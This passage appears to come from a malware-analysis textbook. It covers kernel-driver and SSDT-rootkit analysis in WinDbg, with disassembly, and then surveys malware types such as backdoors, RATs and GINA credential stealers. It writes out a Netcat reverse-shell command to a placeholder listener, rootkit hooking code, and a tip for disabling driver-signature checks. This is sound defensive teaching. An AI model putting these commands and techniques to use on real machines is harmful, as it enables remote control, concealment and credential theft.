04001B49 push
1 ; dwServiceType
04001B4B push 0F01FFh ; dwDesiredAccess
04001B50 push [ebp+lpDisplayName] ; lpDisplayName
04001B53 push [ebp+lpDisplayName] ; lpServiceName
04001B56 push [ebp+hSCManager] ; hSCManager
04001B59 call ds:__imp__CreateServiceA@52
Listing 10-4: Creating a service to load a kernel driver
We see in the service manager routines that a driver is being created with
the CreateService function. Note the parameter for dwService type is 0x01.
This value indicates that this is a kernel driver.
Then we see in Listing 10-5 that a file is being created to get a handle
to a device with a call to CreateFileA at . The filename pushed onto the
stack is stored in EDI at . (Not pictured is the EDI being loaded with the
string \\.\FileWriterDevice, which is the name of the object created by the
driver for the user-space application to access.)
04001893 xor eax, eax
04001895 push eax ; hTemplateFile
04001896 push 80h ; dwFlagsAndAttributes
0400189B push 2 ; dwCreationDisposition
0400189D push eax ; lpSecurityAttributes
0400189E push eax ; dwShareMode
0400189F push ebx ; dwDesiredAccess
040018A0
push edi ; lpFileName
040018A1
call esi ; CreateFileA
Listing 10-5: Obtaining a handle to a device object
Once the malware has a handle to the device, it uses the DeviceIoControl
function at to send data to the driver as shown in Listing 10-6.
04001910 push 0 ; lpOverlapped
04001912 sub eax, ecx
04001914 lea ecx, [ebp+BytesReturned]
0400191A push ecx ; lpBytesReturned
0400191B push 64h ; nOutBufferSize
0400191D push edi ; lpOutBuffer
0400191E inc eax
0400191F push eax ; nInBufferSize
04001920 push esi ; lpInBuffer
04001921 push 9C402408h ; dwIoControlCode
04001926 push [ebp+hObject] ; hDevice
0400192C call ds:DeviceIoControl
Listing 10-6: Using DeviceIoControl to communicate from user space to kernel space
Kernel Debugging with WinDbg
217
Looking at the Kernel-Mode Code
At this point, we’ll switch gears to look at the kernel-mode code. We
will dynamically analyze the code that will be executed as a result of the
DeviceIoControl call by debugging the kernel.
The first step is to find the driver in the kernel. If you’re running WinDbg
with a kernel debugger attached and verbose output enabled, you will be
alerted whenever a kernel module is loaded. Kernel modules are not loaded
and unloaded often, so if you are debugging your malware and a kernel
module is loaded, then you should be suspicious of the module.
NOTE
When using VMware for kernel debugging, you will see KMixer.sys frequently loaded
and unloaded. This is normal and not associated with any malicious activity.
In the following example, we see that the FileWriter.sys driver has been
loaded in the kernel debugging window. Likely, this is the malicious driver.
ModLoad: f7b0d000 f7b0e780 FileWriter.sys
To determine which code is called in the malicious driver, we need to
find the driver object. Since we know the driver name, we can find the driver
object with the !drvobj command. Listing 10-7 shows example output:
kd> !drvobj FileWriter
Driver object (827e3698) is for:
Loading symbols for f7b0d000 FileWriter.sys -> FileWriter.sys
*** ERROR: Module load completed but symbols could not be loaded for FileWriter.sys
\Driver\FileWriter
Driver Extension List: (id , addr)
Device Object list:
826eb030
Listing 10-7: Viewing a driver object for a loaded driver
NOTE
Sometimes the driver object will have a different name or !drvobj will fail. As an alter-
native, you can browse the driver objects with the !object \Driver command. This
command lists all the objects in the \Driver namespace, which is one of the root
namespaces discussed in Chapter 7.
The driver object is stored at address 0x827e3698 at . Once we have the
address for the driver object, we can look at its structure using the dt com-
mand, as shown in Listing 10-8.
kd>dt nt!_DRIVER_OBJECT 0x827e3698
nt!_DRIVER_OBJECT
+0x000 Type : 4
+0x002 Size : 168
+0x004 DeviceObject : 0x826eb030 _DEVICE_OBJECT
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf7b0d000
+0x010 DriverSize : 0x1780
218
Chapter 10
+0x014 DriverSection : 0x828006a8
+0x018 DriverExtension : 0x827e3740 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\FileWriter"
+0x024 HardwareDatabase : 0x8066ecd8 _UNICODE_STRING "\REGISTRY\MACHINE\
HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf7b0dfcd long +0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xf7b0da2a void +0
+0x038 MajorFunction : [28] 0xf7b0da06 long +0
Listing 10-8: Viewing a device object in the kernel
The entry for MajorFunction in this structure is a pointer to the first entry
of the major function table. The major function table tells us what is exe-
cuted when the malicious driver is called from user space. The table has dif-
ferent functions at each index. Each index represents a different type of
request, and the indices are found in the file wdm.h and start with IRP_MJ_.
For example, if we want to find out which offset in the table is called
when a user-space application calls DeviceIoControl, we would look for the
index of IRP_MJ_DEVICE_CONTROL. In this case, IRP_MJ_DEVICE_CONTROL has a value
of 0xe, and the major function table starts at an offset of 0x038 from the begin-
ning of the driver object. To find the function that will be called to handle
the DeviceIoControl request, use the command dd 827e3698+0x38+e*4 L1.
The 0x038 is the offset to the beginning of the table, 0xe is the index of the
IRP_MJ_DEVICE_CONTROL, and it’s multiplied by 4 because each pointer is 4 bytes.
The L1 argument specifies that we want to see only one DWORD of output.
The preceding command shows that the function called in the kernel is
at 0xf7b0da66, as shown in Listing 10-9. We can check to see if the instruc-
tions at that address look valid by using the u command. In this case they
do, but if they did not, it could mean that we made an error in the address
calculation.
kd> dd 827e3698+0x38+e*4 L1
827e3708 f7b0da66
kd> u f7b0da66
FileWriter+0xa66:
f7b0da66 6a68 push 68h
f7b0da68 6838d9b0f7 push offset FileWriter+0x938 (f7b0d938)
f7b0da6d e822faffff call FileWriter+0x494 (f7b0d494)
Listing 10-9: Locating the function for IRP_MJ_DEVICE_CONTROL in a driver object
Now that we have the address, we can either load the kernel driver into
IDA Pro or set a breakpoint on that function and continue to analyze it
within WinDbg. It’s usually easier to start by analyzing the function in IDA
Pro and then use WinDbg if further analysis is needed. While scanning
through the IDA Pro output of our malicious example driver, we found the
code in Listing 10-10, which calls ZwCreateFile and ZwWriteFile to write to a file
from kernel space.
Kernel Debugging with WinDbg
219
F7B0DCB1 push offset aDosdevicesCSec ; "\\DosDevices\\C:\\secretfile.txt"
F7B0DCB6 lea eax, [ebp-54h]
F7B0DCB9 push eax ; DestinationString
F7B0DCBA call
ds:RtlInitUnicodeString
F7B0DCC0 mov dword ptr [ebp-74h], 18h
F7B0DCC7 mov [ebp-70h], ebx
F7B0DCCA mov dword ptr [ebp-68h], 200h
F7B0DCD1 lea eax, [ebp-54h]
F7B0DCD4 mov [ebp-6Ch], eax
F7B0DCD7 mov [ebp-64h], ebx
F7B0DCDA mov [ebp-60h], ebx
F7B0DCDD push ebx ; EaLength
F7B0DCDE push ebx ; EaBuffer
F7B0DCDF push 40h ; CreateOptions
F7B0DCE1 push 5 ; CreateDisposition
F7B0DCE3 push ebx ; ShareAccess
F7B0DCE4 push 80h ; FileAttributes
F7B0DCE9 push ebx ; AllocationSize
F7B0DCEA lea eax, [ebp-5Ch]
F7B0DCED push eax ; IoStatusBlock
F7B0DCEE lea eax, [ebp-74h]
F7B0DCF1 push eax ; ObjectAttributes
F7B0DCF2 push 1F01FFh ; DesiredAccess
F7B0DCF7 push offset FileHandle ; FileHandle
F7B0DCFC call ds:ZwCreateFile
F7B0DD02 push ebx ; Key
F7B0DD03 lea eax, [ebp-4Ch]
F7B0DD06 push eax ; ByteOffset
F7B0DD07 push dword ptr [ebp-24h] ; Length
F7B0DD0A push esi ; Buffer
F7B0DD0B lea eax, [ebp-5Ch]
F7B0DD0E push eax ; IoStatusBlock
F7B0DD0F push ebx ; ApcContext
F7B0DD10 push ebx ; ApcRoutine
F7B0DD11 push ebx ; Event
F7B0DD12 push FileHandle ; FileHandle
F7B0DD18 call ds:ZwWriteFile
Listing 10-10: Code listing for IRP_MJ_DEVICE_CONTROL function
The Windows kernel uses a UNICODE_STRING structure, which is different
from the wide character strings in user space. The RtlInitUnicodeString func-
tion at is used to create kernel strings. The second parameter to the function
is a NULL-terminated wide character string of the UNICODE_STRING being created.
The filename for the ZwCreateFile function is \DosDevices\C:\secretfile.txt. To
create a file from within the kernel, you must specify a fully qualified object
name that identifies the root device involved. For most devices, this is the
familiar object name preceded by \DosDevices.
DeviceIoControl is not the only function that can send data from user
space to kernel drivers. CreateFile, ReadFile, WriteFile, and other functions
can also do this. For example, if a user-mode application calls ReadFile on a
handle to a device, the IRP_MJ_READ function is called. In our example, we
220
Chapter 10
found the function for DeviceIoControl by adding 0xe*4 to the beginning of
the major function table because IRP_MJ_DEVICE_CONTROL has a value of 0xe.
To find the function for read requests, we add 0x3*4 to the beginning of the
major function table instead of 0xe*4 because the value of IRP_MJ_READ is 0x3.
Finding Driver Objects
In the previous example, we saw that a driver was loaded in kernel space when
we ran our malware, and we assumed that it was the infected driver. Sometimes
the driver object will be more difficult to find, but there are tools that can help.
To understand how these tools work, recall that applications interact with
devices, not drivers. From the user-space application, you can identify the
device object and then use the device object to find the driver object. You
can use the !devobj command to get device object information by using the
name of the device specified by the CreateFile call from the user-space code.
kd> !devobj FileWriterDevice
Device object (826eb030) is for:
Rootkit \Driver\FileWriter DriverObject 827e3698
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000040
Dacl e13deedc DevExt 00000000 DevObjExt 828eb0e8
ExtensionFlags (0000000000)
Device queue is not busy.
The device object provides a pointer to the driver object, and once you
have the address for the driver object, you can find the major function table.
After you’ve identified the malicious driver, you might still need to figure
out which application is using it. One of the outputs of the !devobj command
that we just ran is a handle for the device object. You can use that handle
with the !devhandles command to obtain a list of all user-space applications
that have a handle to that device. This command iterates through every
handle table for every process, which takes a long time. The following is the
abbreviated output for the !devhandles command, which reveals that the
FileWriterApp.exe application was using the malicious driver in this case.
kd>!devhandles 826eb030
...
Checking handle table for process 0x829001f0
Handle table at e1d09000 with 32 Entries in use
Checking handle table for process 0x8258d548
Handle table at e1cfa000 with 114 Entries in use
Checking handle table for process 0x82752da0
Handle table at e1045000 with 18 Entries in use
PROCESS 82752da0 SessionId: 0 Cid: 0410 Peb: 7ffd5000 ParentCid: 075c
DirBase: 09180240 ObjectTable: e1da0180 HandleCount: 18.
Image: FileWriterApp.exe
07b8: Object: 826eb0e8 GrantedAccess: 0012019f
Kernel Debugging with WinDbg
221
Now that we know which application is affected, we can find it in user
space and analyze it using the techniques discussed throughout this book.
We have covered the basics of analyzing malicious kernel drivers. Next,
we’ll turn to techniques for analyzing rootkits, which are usually imple-
mented as a kernel driver.
Rootkits
Rootkits modify the internal functionality of the OS to conceal their exis-
tence. These modifications can hide files, processes, network connections,
and other resources from running programs, making it difficult for antivirus
products, administrators, and security analysts to discover malicious activity.
The majority of rootkits in use operate by somehow modifying the ker-
nel. Although rootkits can employ a diverse array of techniques, in practice,
one technique is used more than any other: System Service Descriptor Table
hooking. This technique is several years old and easy to detect relative to other
rootkit techniques. However, it’s still used by malware because it’s easy to
understand, flexible, and straightforward to implement.
The System Service Descriptor Table (SSDT), sometimes called the
System Service Dispatch Table, is used internally by Microsoft to look up
function calls into the kernel. It isn’t normally accessed by any third-party
applications or drivers. Recall from Chapter 7 that kernel code is only
accessible from user space via the SYSCALL, SYSENTER, or INT 0x2E instructions.
Modern versions of Windows use the SYSENTER instruction, which gets instruc-
tions from a function code stored in register EAX. Listing 10-11 shows the
code from ntdll.dll, which implements the NtCreateFile function and must
handle the transitions from user space to kernel space that happen every
time NtCreateFile is called.
7C90D682mov eax, 25h ; NtCreateFile
7C90D687 mov edx, 7FFE0300h
7C90D68C call dword ptr [edx]
7C90D68E retn 2Ch
Listing 10-11: Code for NtCreateFile function
The call to dword ptr[edx] will go to the following instructions:
7c90eb8b 8bd4 mov edx,esp
7c90eb8d 0f34 sysenter
EAX is set to 0x25 in Listing 10-11, the stack pointer is saved in EDX,
and then the sysenter instruction is called. The value in EAX is the function
number for NtCreateFile, which will be used as an index into the SSDT when
the code enters the kernel. Specifically, the address at offset 0x25 in the
SSDT will be called in kernel mode. Listing 10-12 shows a few entries in
the SSDT with the entry for NtCreateFile shown at offset 25.
222
Chapter 10
SSDT[0x22] = 805b28bc (NtCreateaDirectoryObject)
SSDT[0x23] = 80603be0 (NtCreateEvent)
SSDT[0x24] = 8060be48 (NtCreateEventPair)
SSDT[0x25] = 8056d3ca (NtCreateFile)
SSDT[0x26] = 8056bc5c (NtCreateIoCompletion)
SSDT[0x27] = 805ca3ca (NtCreateJobObject)
Listing 10-12: Several entries of the SSDT table showing NtCreateFile
When a rootkit hooks one these functions, it will change the value in the
SSDT so that the rootkit code is called instead of the intended function in
the kernel. In the preceding example, the entry at 0x25 would be changed so
that it points to a function within the malicious driver. This change can mod-
ify the function so that it’s impossible to open and examine the malicious
file. It’s normally implemented in rootkits by calling the original NtCreateFile
and filtering the results based on the settings of the rootkit. The rootkit will
simply remove any files that it wants to hide in order to prevent other appli-
cations from obtaining a handle to the files.
A rootkit that hooks only NtCreateFile will not prevent the file from being
visible in a directory listing. In the labs for this chapter, you’ll see a more
realistic rootkit that hides files from directory listings.
Rootkit Analysis in Practice
Now we’ll look at an example of a rootkit that hooks the SSDT. We’ll analyze
a hypothetical infected system, which we think may have a malicious driver
installed.
The first and most obvious way to check for SSDT hooking is to exam-
ine the SSDT. The SSDT can be viewed in WinDbg at the offset stored at
nt!KeServiceDescriptorTable. All of the function offsets in the SSDT should
point to functions within the boundaries of the NT module, so the first
thing we did was obtain those boundaries. In our case, ntoskrnl.exe starts
at address 804d7000 and ends at 806cd580. If a rootkit is hooking one of
these functions, the function will probably not point into the NT module.
When we examine the SSDT, we see that there is a function that looks like
it does not fit. Listing 10-13 is a shortened version of the SSDT.
kd> lm m nt
...
8050122c 805c9928 805c98d8 8060aea6 805aa334
8050123c 8060a4be 8059cbbc 805a4786 805cb406
8050124c 804feed0 8060b5c4 8056ae64 805343f2
8050125c 80603b90 805b09c0 805e9694 80618a56
8050126c 805edb86 80598e34 80618caa 805986e6
8050127c 805401f0 80636c9c 805b28bc 80603be0
8050128c 8060be48 f7ad94a4 8056bc5c 805ca3ca
8050129c 805ca102 80618e86 8056d4d8 8060c240
805012ac 8056d404 8059fba6 80599202 805c5f8e
Listing 10-13: A sample SSDT table with one entry overwritten by a rootkit
Kernel Debugging with WinDbg
223
The value at offset 0x25 in this table at points to a function that is
outside the ntoskrnl module, so a rootkit is likely hooking that function.
The function being hooked in this case is NtCreateFile. We can figure out
which function is being hooked by examining the SSDT on the system with-
out the rootkit installed and seeing which function is located at the offset.
We can find out which module contains the hook address by listing the
open modules with the lm command as shown in Listing 10-14. In the kernel,
the modules listed are all drivers. We find the driver that contains the address
0xf7ad94a4, and we see that it is within the driver called Rootkit.
kd>lm
...
f7ac7000 f7ac8580 intelide (deferred)
f7ac9000 f7aca700 dmload (deferred)
f7ad9000 f7ada680 Rootkit (deferred)
f7aed000 f7aee280 vmmouse (deferred)
...
Listing 10-14: Using the lm command to find which driver contains a particular address
Once we identify the driver, we will look for the hook code and start
to analyze the driver. We’ll look for two things: the section of code that
installs the hook and the function that executes the hook. The simplest way
to find the function that installs the hook is to search in IDA Pro for data
references to the hook function. Listing 10-15 is an assembly listing for
code that hooks the SSDT.
00010D0D push offset aNtcreatefile ; "NtCreateFile"
00010D12 lea eax, [ebp+NtCreateFileName]
00010D15 push eax ; DestinationString
00010D16 mov edi, ds:RtlInitUnicodeString
00010D1C call
edi ; RtlInitUnicodeString
00010D1E push offset aKeservicedescr ; "KeServiceDescriptorTable"
00010D23 lea eax, [ebp+KeServiceDescriptorTableString]
00010D26 push eax ; DestinationString
00010D27 call
edi ; RtlInitUnicodeString
00010D29 lea eax, [ebp+NtCreateFileName]
00010D2C push eax ; SystemRoutineName
00010D2D mov edi, ds:MmGetSystemRoutineAddress
00010D33 call
edi ; MmGetSystemRoutineAddress
00010D35 mov ebx, eax
00010D37 lea eax, [ebp+KeServiceDescriptorTableString]
00010D3A push eax ; SystemRoutineName
00010D3B call edi ; MmGetSystemRoutineAddress
00010D3D mov ecx, [eax]
00010D3F xor edx, edx
00010D41 ; CODE XREF: sub_10CE7+68 j
00010D41 add
ecx, 4
00010D44 cmp [ecx], ebx
00010D46 jz short loc_10D51
00010D48 inc edx
00010D49 cmp edx, 11Ch
224
Chapter 10
00010D4F jl
short loc_10D41
00010D51 ; CODE XREF: sub_10CE7+5F j
00010D51 mov dword_10A0C, ecx
00010D57 mov dword_10A08, ebx
00010D5D mov
dword ptr [ecx], offset sub_104A4
Listing 10-15: Rootkit code that installs a hook in the SSDT
This code hooks the NtCreateFile function. The first two function calls at
and create strings for NtCreateFile and KeServiceDescriptorTable that will
be used to find the address of the exports, which are exported by ntoskrnl.exe
and can be imported by kernel drivers just like any other value. These exports
can also be retrieved at runtime. You can’t load GetProcAddress from kernel
mode, but the MmGetSystemRoutineAddress is the kernel equivalent, although
it is slightly different from GetProcAddress in that it can get the address for
exports only from the hal and ntoskrnl kernel modules.
The first call to MmGetSystemRoutineAddress reveals the address of the
NtCreateFile function, which will be used by the malware to determine which
address in the SSDT to overwrite. The second call to MmGetSystemRoutineAddress
gives us the address of the SSDT itself.
Next there is a loop from to , which iterates through the SSDT until
it finds a value that matches the address of NtCreateFile, which it will over-
write with the function hook.
The hook is installed by the last instruction in this listing at , wherein
the procedure address is copied to a memory location.
The hook function performs a few simple tasks. It filters out certain
requests while allowing others to pass to the original NtCreateFile. Listing 10-16
shows the hook function.
000104A4 mov edi, edi
000104A6 push ebp
000104A7 mov ebp, esp
000104A9 push [ebp+arg_8]
000104AC call
sub_10486
000104B1 test eax, eax
000104B3 jz short loc_104BB
000104B5 pop ebp
000104B6 jmp NtCreateFile
000104BB -----------------------------
000104BB ; CODE XREF: sub_104A4+F j
000104BB mov eax, 0C0000034h
000104C0 pop ebp
000104C1 retn 2Ch
Listing 10-16: Listing of the rootkit hook function
The hook function jumps to the original NtCreateFile function for some
requests and returns to 0xC0000034 for others. The value 0xC0000034 corre-
sponds to STATUS_OBJECT_NAME_NOT_FOUND. The call at contains code (not
shown) that evaluates the ObjectAttributes (which contains information
about the object, such as filename) of the file that the user-space program
Kernel Debugging with WinDbg
225
is attempting to open. The hook function returns a nonzero value if the
NtCreateFile function is allowed to proceed, or a zero if the rootkit blocks the
file from being opened. If the hook function returns a zero, the user-space
applications will receive an error indicating that the file does not exist. This
will prevent user applications from obtaining a handle to particular files
while not interfering with other calls to NtCreateFile.
Interrupts
Interrupts are sometimes used by rootkits to interfere with system events.
Modern processors implement interrupts as a way for hardware to trigger
software events. Commands are issued to hardware, and the hardware will
interrupt the processor when the action is complete.
Interrupts are sometimes used by drivers or rootkits to execute code. A
driver calls IoConnectInterrupt to register a handler for a particular interrupt
code, and then specifies an interrupt service routine (ISR), which the OS will
call every time that interrupt code is generated.
The Interrupt Descriptor Table (IDT) stores the ISR information,
which you can view with the !idt command. Listing 10-17 shows a normal
IDT, wherein all of the interrupts go to well-known drivers that are signed
by Microsoft.
kd> !idt
37: 806cf728 hal!PicSpuriousService37
3d: 806d0b70 hal!HalpApcInterrupt
41: 806d09cc hal!HalpDispatchInterrupt
50: 806cf800 hal!HalpApicRebootService
62: 8298b7e4 atapi!IdePortInterrupt (KINTERRUPT 8298b7a8)
63: 826ef044 NDIS!ndisMIsr (KINTERRUPT 826ef008)
73: 826b9044 portcls!CKsShellRequestor::`vector deleting destructor'+0x26
(KINTERRUPT 826b9008)
USBPORT!USBPORT_InterruptService (KINTERRUPT 826df008)
82: 82970dd4 atapi!IdePortInterrupt (KINTERRUPT 82970d98)
83: 829e8044 SCSIPORT!ScsiPortInterrupt (KINTERRUPT 829e8008)
93: 826c315c i8042prt!I8042KeyboardInterruptService (KINTERRUPT 826c3120)
a3: 826c2044 i8042prt!I8042MouseInterruptService (KINTERRUPT 826c2008)
b1: 829e5434 ACPI!ACPIInterruptServiceRoutine (KINTERRUPT 829e53f8)
b2: 826f115c serial!SerialCIsrSw (KINTERRUPT 826f1120)
c1: 806cf984 hal!HalpBroadcastCallService
d1: 806ced34 hal!HalpClockInterrupt
e1: 806cff0c hal!HalpIpiHandler
e3: 806cfc70 hal!HalpLocalApicErrorService
fd: 806d0464 hal!HalpProfileInterrupt
fe: 806d0604 hal!HalpPerfInterrupt
Listing 10-17: A sample IDT
Interrupts going to unnamed, unsigned, or suspicious drivers could indi-
cate a rootkit or other malicious software.
226
Chapter 10
Loading Drivers
Throughout this chapter, we have assumed that the malware being analyzed
includes a user-space component to load it. If you have a malicious driver, but
no user-space application to install it, you can load the driver using a loader
such as the OSR Driver Loader tool, as shown in Figure 10-4. This driver loader
is very easy to use, and it’s free, but it requires registration. Once you have OSR
Driver Loader installed, simply run the driver loader and specify the driver to
load, and then click Register Service and Start Service to start the driver.
Figure 10-4: OSR Driver Loader tool window
Kernel Issues for Windows Vista, Windows 7, and x64
Versions
Several major changes have been made in the newer versions of Windows
that impact the kernel-debugging process and the effectiveness of kernel
malware. Most malware still targets x86 machines running Windows XP,
but as Windows 7 and x64 gain popularity, so will malware targeting those
systems.
One major change is that since Windows Vista, the boot.ini file is no lon-
ger used to determine which OS to boot. Recall that we used the boot.ini file
to enable kernel debugging earlier in this chapter. Vista and later versions
Kernel Debugging with WinDbg
227
of Windows use a program called BCDEdit to edit the boot configuration
data, so you would use BCDEdit to enable kernel debugging on the newer
Windows OSs.
The biggest security change is the implementation of a kernel protection
patch mechanism commonly called PatchGuard, implemented in the x64
versions of Windows starting with Windows XP. Kernel patch protection
prevents third-party code from modifying the kernel. This includes modifica-
tions to the kernel code itself, modifications to system service tables, modifi-
cations to the IDT, and other patching techniques. This feature was somewhat
controversial when introduced because kernel patching is used by both
malicious programs and nonmalicious programs. For example, firewalls,
antivirus programs, and other security products regularly use kernel patch-
ing to detect and prevent malicious activity.
Kernel patch protection can also interfere with debugging on a 64-bit
system because the debugger patches the code when inserting breakpoints,
so if a kernel debugger is attached to the OS at boot time, the patch protec-
tion will not run. However, if you attach a kernel debugger after booting up,
PatchGuard will cause a system crash.
Driver signing is enforced on 64-bit versions of Windows starting with
Vista, which means that you can’t load a driver into a Windows Vista machine
unless it is digitally signed. Malware is usually not signed, so it’s an effective
security measure against malicious kernel drivers. In fact, kernel malware
for x64 systems is practically nonexistent, but as x64 versions of Windows
become more prevalent, malware will undoubtedly evolve to work around
this barrier. If you need to load an unsigned driver on an x64 Vista system,
you can use the BCDEdit utility to modify the boot options. Specifically,
nointegritychecks disables the requirement that drivers be signed.
Conclusion
WinDbg is a useful debugger that provides a number of features that OllyDbg
does not, including the ability to debug the kernel. Malware that uses the
kernel is not common, but it exists, and malware analysts should know how
to handle it.
In this chapter, we’ve covered how kernel drivers work, how to use
WinDbg to analyze them, how to find out which kernel code will be exe-
cuted when a user-space application makes a request, and how to analyze
rootkits. In the next several chapters, we’ll shift our discussion from analysis
tools to how malware operates on the local system and across the network.
228
Chapter 10
L A B S
Lab 10-1
This lab includes both a driver and an executable. You can run the execut-
able from anywhere, but in order for the program to work properly, the
driver must be placed in the C:\Windows\System32 directory where it was origi-
nally found on the victim computer. The executable is Lab10-01.exe, and the
driver is Lab10-01.sys.
Questions
1.
Does this program make any direct changes to the registry? (Use procmon
to check.)
2.
The user-space program calls the ControlService function. Can you set a
breakpoint with WinDbg to see what is executed in the kernel as a result
of the call to ControlService?
3.
What does this program do?
Lab 10-2
The file for this lab is Lab10-02.exe.
Questions
1.
Does this program create any files? If so, what are they?
2.
Does this program have a kernel component?
3.
What does this program do?
Lab 10-3
This lab includes a driver and an executable. You can run the executable
from anywhere, but in order for the program to work properly, the driver
must be placed in the C:\Windows\System32 directory where it was originally
found on the victim computer. The executable is Lab10-03.exe, and the driver
is Lab10-03.sys.
Questions
1.
What does this program do?
2.
Once this program is running, how do you stop it?
3.
What does the kernel component do?
PART 4
M A L W A R E F U N C T I O N A L I T Y
M A L W A R E B E H A V I O R
So far, we’ve focused on analyzing malware, and to a
lesser extent, on what malware can do. The goal of this
and the next three chapters is to familiarize you with
the most common characteristics of software that iden-
tify it as malware.
This chapter takes you on a kind of whirlwind tour through the various
malware behaviors, some of which may already be familiar to you. Our goal is
to provide a summary of common behaviors, and give you a well-rounded
foundation of knowledge that will allow you to recognize a variety of mali-
cious applications. We can’t possibly cover all types of malware because new
malware is always being created with seemingly endless capabilities, but we
can give you a good understanding of the sorts of things to look for.
Downloaders and Launchers
Two commonly encountered types of malware are downloaders and launch-
ers. Downloaders simply download another piece of malware from the Inter-
net and execute it on the local system. Downloaders are often packaged with
232
Chapter 11
an exploit. Downloaders commonly use the Windows API URLDownloadtoFileA,
followed by a call to WinExec to download and execute new malware.
A launcher (also known as a loader) is any executable that installs malware
for immediate or future covert execution. Launchers often contain the
malware that they are designed to load. We discuss launchers extensively in
Chapter 12.
Backdoors
A backdoor is a type of malware that provides an attacker with remote access to
a victim’s machine. Backdoors are the most commonly found type of mal-
ware, and they come in all shapes and sizes with a wide variety of capabilities.
Backdoor code often implements a full set of capabilities, so when using
a backdoor attackers typically don’t need to download additional malware
or code.
Backdoors communicate over the Internet in numerous ways, but a
common method is over port 80 using the HTTP protocol. HTTP is the most
commonly used protocol for outgoing network traffic, so it offers malware
the best chance to blend in with the rest of the traffic.
In Chapter 14, you will see how to analyze backdoors at the packet level,
to create effective network signatures. For now, we will focus on high-level
communication.
Backdoors come with a common set of functionality, such as the ability
to manipulate registry keys, enumerate display windows, create directories,
search files, and so on. You can determine which of these features is imple-
mented by a backdoor by looking at the Windows functions it uses and
imports. See Appendix A for a list of common functions and what they
can tell you about a piece of malware.
Reverse Shell
A reverse shell is a connection that originates from an infected machine and
provides attackers shell access to that machine. Reverse shells are found as
both stand-alone malware and as components of more sophisticated back-
doors. Once in a reverse shell, attackers can execute commands as if they
were on the local system.
Netcat Reverse Shells
Netcat, discussed in Chapter 3, can be used to create a reverse shell by run-
ning it on two machines. Attackers have been known to use Netcat or pack-
age Netcat within other malware.
When Netcat is used as a reverse shell, the remote machine waits for
incoming connections using the following:
nc -l –p 80
Malware Behavior
233
The –l option sets Netcat to listening mode, and –p is used to set the port
on which to listen. Next, the victim machine connects out and provides the
shell using the following command:
nc listener_ip 80 -e cmd.exe
The listener_ip 80 parts are the IP address and port on the remote
machine. The -e option is used to designate a program to execute once the
connection is established, tying the standard input and output from the pro-
gram to the socket (on Windows, cmd.exe is often used, as discussed next).
Windows Reverse Shells
Attackers employ two simple malware coding implementations for reverse
shells on Windows using cmd.exe: basic and multithreaded.
The basic method is popular among malware authors, since it’s easier
to write and generally works just as well as the multithreaded technique. It
involves a call to CreateProcess and the manipulation of the STARTUPINFO struc-
ture that is passed to CreateProcess. First, a socket is created and a connection
to a remote server is established. That socket is then tied to the standard
streams (standard input, standard output, and standard error) for cmd.exe.
CreateProcess runs cmd.exe with its window suppressed, to hide it from the vic-
tim. There is an example of this method in Chapter 7.
The multithreaded version of a Windows reverse shell involves the
creation of a socket, two pipes, and two threads (so look for API calls to
CreateThread and CreatePipe). This method is sometimes used by malware
authors as part of a strategy to manipulate or encode the data coming in or
going out over the socket. CreatePipe can be used to tie together read and
write ends to a pipe, such as standard input (stdin) and standard output
(stdout). The CreateProcess method can be used to tie the standard streams
to pipes instead of directly to the sockets. After CreateProcess is called, the
malware will spawn two threads: one for reading from the stdin pipe and
writing to the socket, and the other for reading the socket and writing to
the stdout pipe. Commonly, these threads manipulate the data using data
encoding, which we’ll cover in Chapter 13. You can reverse-engineer the
encoding/decoding routines used by the threads to decode packet cap-
tures containing encoded sessions.
RATs
A remote administration tool (RAT) is used to remotely manage a computer or
computers. RATs are often used in targeted attacks with specific goals, such
as stealing information or moving laterally across a network.
Figure 11-1 shows the RAT network structure. The server is running on
a victim host implanted with malware. The client is running remotely as the
command and control unit operated by the attacker. The servers beacon to
the client to start a connection, and they are controlled by the client. RAT
communication is typically over common ports like 80 and 443.
234
Chapter 11
Figure 11-1: RAT network structure
NOTE
Poison Ivy (http://www.poisonivy-rat.com/) is a freely available and popular RAT.
Its functionality is controlled by shellcode plug-ins, which makes it extensible. Poison
Ivy can be a useful tool for quickly generating malware samples to test or analyze.
Botnets
A botnet is a collection of compromised hosts, known as zombies, that are con-
trolled by a single entity, usually through the use of a server known as a botnet
controller. The goal of a botnet is to compromise as many hosts as possible in
order to create a large network of zombies that the botnet uses to spread
additional malware or spam, or perform a distributed denial-of-service (DDoS)
attack. Botnets can take a website offline by having all of the zombies attack
the website at the same time.
RATs and Botnets Compared
There are a few key differences between botnets and RATs:
Botnets have been known to infect and control millions of hosts. RATs
typically control far fewer hosts.
All botnets are controlled at once. RATs are controlled on a per-victim
basis because the attacker is interacting with the host at a much more
intimate level.
RATs are used in targeted attacks. Botnets are used in mass attacks.
Credential Stealers
Attackers often go to great lengths to steal credentials, primarily with three
types of malware:
Programs that wait for a user to log in in order to steal their credentials
Programs that dump information stored in Windows, such as password
hashes, to be used directly or cracked offline
Programs that log keystrokes
In this section, we will discuss each of these types of malware.
Client
Server
Server
Server
Server
Action
Action
Action
Action
Action
Action
Action
Action
Malware Behavior
235
GINA Interception
On Windows XP, Microsoft’s Graphical Identification and Authentication (GINA)
interception is a technique that malware uses to steal user credentials. The
GINA system was intended to allow legitimate third parties to customize the
logon process by adding support for things like authentication with hard-
ware radio-frequency identification (RFID) tokens or smart cards. Malware
authors take advantage of this third-party support to load their credential
stealers.
GINA is implemented in a DLL, msgina.dll, and is loaded by the Win-
logon executable during the login process. Winlogon also works for third-
party customizations implemented in DLLs by loading them in between
Winlogon and the GINA DLL (like a man-in-the-middle attack). Windows
conveniently provides the following registry location where third-party DLLs
will be found and loaded by Winlogon:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
In one instance, we found a malicious file fsgina.dll installed in this regis-
try location as a GINA interceptor.
Figure 11-2 shows an example of the way that logon credentials flow
through a system with a malicious file between Winlogon and msgina.dll. The
malware (fsgina.dll) is able to capture all user credentials submitted to the
system for authentication. It can log that information to disk or pass it over
the network.
Figure 11-2: Malicious fsgina.dll sits in between the Windows system files to cap-
ture data.
Because fsgina.dll intercepts the communication between Winlogon and
msgina.dll, it must pass the credential information on to msgina.dll so that the
